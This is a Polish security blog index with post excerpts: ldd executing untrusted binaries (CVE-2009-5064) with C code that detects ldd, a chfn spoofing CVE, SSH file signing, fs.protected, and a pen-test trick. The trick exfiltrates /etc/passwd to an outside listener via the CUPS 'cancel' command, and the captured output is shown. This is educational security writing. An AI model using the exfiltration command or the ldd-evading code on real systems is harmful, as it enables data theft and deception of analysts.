NFsec Logo

Polecenie ldd i niezaufane pliki binarne

29/07/2023 w Bezpieczeństwo Możliwość komentowania Polecenie ldd i niezaufane pliki binarne została wyłączona

N

iewiele osób zdaje sobie sprawę z faktu, że polecenie ldd służące do wyświetlania bibliotek współdzielonych wymaganych przez dany program nie jest plikiem binarnym tylko skryptem w języku bash:

agresor@darkstar:~$ whereis ldd
ldd: /usr/bin/ldd /usr/share/man/man1/ldd.1.gz
agresor@darkstar:~$ file /usr/bin/ldd
/usr/bin/ldd: Bourne-Again shell script, ASCII text executable

W dodatku, jeśli przeczytamy stronę manualną tego polecenia natchniemy się na taki zapis:

Należy pamiętać, że w pewnych okolicznościach (np. gdy program określa interpreter ELF inny niż ld-linux.so), niektóre wersje ldd mogą próbować uzyskać informacje o zależnościach, próbując bezpośrednio wykonać program, co może doprowadzić do wykonania dowolnego kodu zdefiniowanego w interpreterze programu ELF, a być może do wykonania samego programu (w wersjach glibc 2.27, implementacja upstream ldd na przykład to robiła, chociaż większość dystrybucji dostarczała zmodyfikowaną wersję, która tego nie robiła).

Dlatego nigdy nie należy używać ldd na niezaufanym pliku wykonywalnym, ponieważ może to spowodować wykonanie dowolnego kodu.

Zapis ten znajduje swoją historię w CVE-2009-5064, czyli luce w sposobie, w jaki narzędzie ldd identyfikowało biblioteki dołączane dynamicznie. Jeśli osoba atakująca mogłaby nakłonić użytkownika do uruchomienia ldd na złośliwym pliku binarnym, mogłoby to spowodować wykonanie dowolnego kodu z uprawnieniami użytkownika uruchamiającego ldd. Przykłady takich aplikacji mogą zostać stworzone np. za pomocą osobnej biblioteki C do tworzenia wbudowanych systemów Linux. Wystarczy zlinkować szkodliwy kod z nowym programem ładującym, z którego usuniemy / zakomentujemy wykrywanie zmiennej LD_TRACE_LOADED_OBJECTS:

/*
   if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
           trace_loaded_objects++;
   }
*/

Spowoduje to, że szkodliwy program zostanie uruchomiony przez program ładujący nawet, jeśli narzędzie systemowe ustawi taką zmienną. Teraz w samym programie należy wykrywać w/w zmienną, aby uzależnić od niej wersję uruchomionego kodu:

#include <stdio.h>
#include <stdlib.h>

int main()
{
   /* wykrycie uruchomienia ldd */
   if (getenv("LD_TRACE_LOADED_OBJECTS") != 0) {
      printf("szkodliwy kod\n");
      printf("\tlibc.so.6 => /lib/libc.so.6 (0x4001d000)\n");
      printf("\t/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)\n");
      return 0;
   }

   printf("normalny kod\n");
   return 0;
}

Jak widzimy nie do końca jest bezpieczne uruchamianie ldd na niezaufanych plikach binarnych. Skrypt ldd używa dynamicznego linkera do załadowania pliku binarnego i jego zależności do pamięci, a następnie polega na samym dynamicznym konsolidatorze, aby wyświetlić szczegóły w konsoli. Z tego powodu proces ten może być nadużywany w inny sposób niż zgodnie z przeznaczeniem np. do wstrzyknięcia kodu, jak było to w przypadku CVE-2019-1010023. W jaki więc sposób sprawdzać zależności? Oczywiście nieznane pliki binarne powinny być sprawdzane na specjalnie przygotowanym do tego środowisku. Po drugie możemy skorzystać bezpośrednio z linkera systemowego:

agresor@darkstar:~$ /lib64/ld-linux-x86-64.so.2 --verify /bin/ls \
                    && echo 'Plik obsługiwany!' || echo 'Plik nieobsługiwany!'

Jeśli plik jest obsługiwany, możemy go sprawdzić za pomocą składni:

agresor@darkstar:~$ LD_TRACE_LOADED_OBJECTS=1 /lib64/ld-linux-x86-64.so.2 /bin/ls
	linux-vdso.so.1 (0x00007ffe3b1dd000)
	libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f4b1111f000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4b10ef7000)
	libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f4b10e60000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f4b11177000)

No i proszę. Otrzymujemy dokładnie taki sam wynik, jaki wytworzyłby skrypt ldd (minus różnice w adresach pamięci pod którymi zostały załadowane biblioteki, ale to ze względu na ASLR).

Więcej informacji: ldd(1) and untrusted binaries, Compromising analysis tools, ldd can execute an app unexpectedly, The GNU C Library version 2.27 is now available

CVE-2023-29383 – nadużywanie polecenia chfn do fałszowania danych z /etc/passwd

08/06/2023 w Bezpieczeństwo Możliwość komentowania CVE-2023-29383 – nadużywanie polecenia chfn do fałszowania danych z /etc/passwd została wyłączona

W pakiecie shadow 4.13 możliwe jest wstrzyknięcie znaków kontrolnych do pól dostarczanych do programu SUID chfn (change finger). Chociaż nie jest możliwe wykorzystanie tego błędu bezpośrednio (np.dodanie nowego użytkownika nie powiedzie się, ponieważ znak nowej linii '\n' znajduje się na liście zablokowanych znaków) to możliwe jest sfałszowanie danych wyświetlanych z pliku /etc/passwd. Użycie manipulacji znaków '\r' (CR [carriage return]) i Unicode w celu obejścia znaku “:” umożliwia stworzenie wrażenia, że dodano nowego użytkownika. Innymi słowy, atakujący może być w stanie przekonać administratora systemu do sprawdzenia lub nawet wyłączenia systemu poprzez wykazanie, że polecenie: cat /etc/passwd pokazuje wrogie konto użytkownika.
[ czytaj całość… ]

Podpisywanie plików za pomocą kluczy SSH

09/05/2023 w Administracja, Bezpieczeństwo Możliwość komentowania Podpisywanie plików za pomocą kluczy SSH została wyłączona

O

podpisywaniu commitów przez SSH już wiemy. Ale czy wiesz, że możesz użyć polecenia ssh-keygen do podpisywania i weryfikowania podpisów na dowolnych danych, takich jak pliki w wypuszczane wersje oprogramowania? Funkcja ta została dodana wraz w wersją OpenSSH 8.0, dlatego jeśli używasz Debian Bullseye / Ubuntu 20.04 lub nowsze – masz już zainstalowaną wystarczająco nową wersję SSH, aby korzystać z tej funkcjonalności. W dodatku jeśli korzystasz z serwisu GitHub lub jakiejkolwiek innej usługi, która używa kluczy SSH do uwierzytelniania to pewnie masz już klucz SSH, którego można użyć do generowania podpisów (jeśli nie to zajmiemy się tym później). Dystrybucja kluczy SSH jest łatwa, ponieważ publiczne klucze SSH to krótkimi jednowierszowymi ciągami, które łatwo skopiować. W dodatku możemy użyć wspomnianego serwisu GitHub jako dystrybutora kluczy – możesz pobrać klucze publiczne SSH dla dowolnego użytkownika odwiedzając adres URL w postaci: https://github.com/$nazwa_użytkownika.keys np. NFsec.
[ czytaj całość… ]

Działanie fs.protected

20/03/2023 w Bezpieczeństwo Możliwość komentowania Działanie fs.protected została wyłączona

P

ocząwszy od wersji 4.19 jądra systemu Linux możliwe jest uniemożliwienie otwierania FIFO lub zwykłych plików niebędących własnością użytkownika w globalnie zapisywalnych katalogach z ustawionym sticky bit (np. /tmp). Ochronę tę można stosować osobno dla FIFO, zwykłych plików, symlinków / hardlinków poprzez odpowiednie ustawienia z poziomu sysctl. Ustawienia te oparte są na łatce HARDEN_FIFO, która znajdowała się w projekcie Openwall Solar Designera, a ich celem jest utrudnienie ataków polegających na spoofingu danych. Poniżej znajduje się krótka lista starych luk, którym można było zapobiec dzięki tej funkcji (niektóre z nich pozwalają nawet na eskalację uprawnień):
[ czytaj całość… ]

Eksfiltracja danych na serwerze lub kliencie wydruku

19/02/2023 w Pen Test Możliwość komentowania Eksfiltracja danych na serwerze lub kliencie wydruku została wyłączona

Na przejętej maszynie, z której chcemy wyprowadzić jakieś dane (tutaj: /etc/passwd), a posiada ona pakiet cups-client lub lprng zapewniający programy klienckie wydruku w stylu System V – możemy wykonać polecenie:

cancel -u "$(cat /etc/passwd | base64)" -h 10.0.0.1:31337

Na zdalnej maszynie (o adresie IP: 10.0.0.1), na której prowadzimy odbiór danych powinniśmy zobaczyć:

root@darkstar:~# nc -nlvp 31337
Listening on 0.0.0.0 31337
Connection received on 10.0.0.2 45280
POST /admin/ HTTP/1.1
Content-Length: 2650
Content-Type: application/ipp
Date: Sun, 19 Feb 2023 21:40:29 GMT
Host: 10.0.0.1:31337
User-Agent: CUPS/2.4.1 (Linux 5.15.0-58-generic; x86_64) IPP/2.0
Expect: 100-continue

9Gattributes-charsetutf-8Httributes-natural-languageen-usE
printer-uriipp://localhost/printers/Brequesting-user-name     
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv
c2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9n
aW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5
bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmlu
L25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4K
bHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODpt
YWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9v
bC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVj
cDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25v
bG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dp
bgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxp
c3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9n
aW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0
MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91
c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6
L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jp
bi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFn
ZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4
OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9n
aW4KbWVzc2FnZWJ1czp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpz
eXN0ZW1kLXRpbWVzeW5jOng6MTA0OjEwNTpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCws
Oi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMDU6MTo6L3Zhci9j
YWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTA2OjY1NTM0OjovcnVuL3NzaGQ6L3Vz
ci9zYmluL25vbG9naW4Kc3lzbG9nOng6MTA3OjExMzo6L2hvbWUvc3lzbG9nOi91c3Ivc2Jpbi9u
b2xvZ2luCnV1aWRkOng6MTA4OjExNDo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3Bk
dW1wOng6MTA5OjExNTo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjExMDox
MTY6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCmxhbmRzY2Fw
ZTp4OjExMToxMTc6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6
eDoxMTI6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9n
aW4KYWdyZXNvcjp4OjEwMDA6MTAwMDphZ3Jlc29yOi9ob21lL2FncmVzb3I6L2Jpbi9iYXNoCmx4
ZDp4Ojk5OToxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmZ3dXBkLXJl
ZnJlc2g6eDoxMTM6MTE4OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9z
YmluL25vbG9naW4K"my-jobs"

Więcej informacji: Alh4zr3d on Twitter, File upload (GTFOBins), cancel(1)

Gdy host ma być tym hostem którym chcemy aby był

28/12/2022 w Administracja Możliwość komentowania Gdy host ma być tym hostem którym chcemy aby był została wyłączona

C

zasami zachodzi potrzeba pobrania próbki złośliwego oprogramowania / phishingu ze złośliwego serwera, ale nazwa domeny nie jest już rozwiązywalna (została usunięta / zablokowana). Niestety cyberprzestępcy nie zawsze są na tyle niezdarni, że udostępniają te same artefakty na czystym adresie IP i polecenie:

curl http://212.45.19.19/redline_stealer.exe

zwraca kod 404, ponieważ serwer taki często obsługuje wiele szkodliwych witryn i reaguje na konkretną nazwę domenową. W takim przypadku posiadając historyczne dane DNS o domenie możemy połączyć się z serwerem za pomocą narzędzia curl na kilka sposobów. Najstarszą metodą, na której kiedyś opierał się system DNS jest edycja pliku hosts (/etc/hosts w systemach Linux i systemach uniksopodobnych). Dodając na przykład wpis:
[ czytaj całość… ]

Wykrywanie zatrutych plików binarnych w Linuksie

09/01/2022 w Bezpieczeństwo 1 komentarz.

Z

atruwanie plików binarnych w Linuksie jest procesem, w którym atakujący podmienia często używane (dystrybucyjnie pre-instalowane) programy i narzędzia swoimi wersjami, które spełniają te same funkcje, ale dodatkowo wykonują złośliwe akcje. Może to być zastąpienie pliku nowym, zaprojektowanym tak, aby zachowywał się jak stare polecenie lub zmanipulowanie istniejącego (np. dopisanie na końcu instrukcji), aby bezpośrednio uruchamiało złośliwy kod. Próbkę tego procesu mogliśmy zobaczyć w ściągawce z informatyki śledczej w wykrywaniu włamań za pomocą linii poleceń Linuksa. Dzisiaj ją nieco rozwiniemy.
[ czytaj całość… ]

Logujemy logowania i nie tylko cz.III – sshrc

05/04/2021 w Bezpieczeństwo Możliwość komentowania Logujemy logowania i nie tylko cz.III – sshrc została wyłączona

J

eśli w katalogu domowym użytkownika istnieje plik ~/.ssh/rcsh(1) uruchomi go po przeczytaniu plików środowiskowych, ale przed uruchomieniem powłoki lub polecenia użytkownika (nawet jeśli wyłączymy alokację TTY). Plik ten nie może generować żadnych danych na standardowy strumień wyjścia (stdout); zamiast tego należy użyć standardowego strumienia błędów (stderr). Przykład:
[ czytaj całość… ]

Czas utworzenia pliku w Linuksie

17/11/2016 w Debug Możliwość komentowania Czas utworzenia pliku w Linuksie została wyłączona

J

ak sprawdzić czas utworzenia pliku w systemie plików ext2/ext3/ext4? Na początku należy za pomocą stat pobrać numer i-node pliku, a następnie posłużyć się debugfs, aby wyświetlić jego szczegóły na danym urządzeniu:

root@darkstar:~# stat -c %i plik
131124
root@darkstar:~# debugfs -R 'stat <131124>' /dev/sda2

Inode: 131124   Type: regular    Mode:  0755   Flags: 0x80000
Generation: 2191072338    Version: 0x00000000:00000001
User:     0   Group:     0   Size: 8988
File ACL: 0    Directory ACL: 0
Links: 1   Blockcount: 24
Fragment:  Address: 0    Number: 0    Size: 0
 ctime: 0x57ae0ac4:22d8c824 -- Fri Aug 12 19:43:32 2016
 atime: 0x57ae0abf:1c2bc7bc -- Fri Aug 12 19:43:27 2016
 mtime: 0x57ae0abf:1c2bc7bc -- Fri Aug 12 19:43:27 2016
crtime: 0x57ae0abf:1c2bc7bc -- Fri Aug 12 19:43:27 2016
Size of extra inode fields: 32
EXTENTS:
(0-2):557400-557402

Więcej informacji: Birth is empty on ext4

To nie są pliki i katalogi, których szukasz

22/09/2016 w Ataki Internetowe, Bezpieczeństwo, Pen Test Możliwość komentowania To nie są pliki i katalogi, których szukasz została wyłączona

W

iele serwerów WWW posiada katalogi, których zawartość jest ukierunkowana na konkretne pliki. Oznacza to, że dany /katalog/ nie posiada standardowych plików typu index serwujących treść (lub posiada je puste) oraz nie pozwala na wyświetlenie zawartości całego katalogu często zwracając komunikat o kodzie 403. Mimo to pozwala na dostęp do bezpośrednich zasobów np. /katalog/install.exe. Analogicznie odnieść możemy się do katalogów, w których wdrażane są aplikacje. Są one (powinny być) ograniczane dostępem do konkretnych zasobów. Niestety bardzo często razem z kodem różnych aplikacji lub błędnym działaniem ludzkim przedostają się różnego rodzaju meta informacje, odsłaniające słabe strony tych rozwiązań.
[ czytaj całość… ]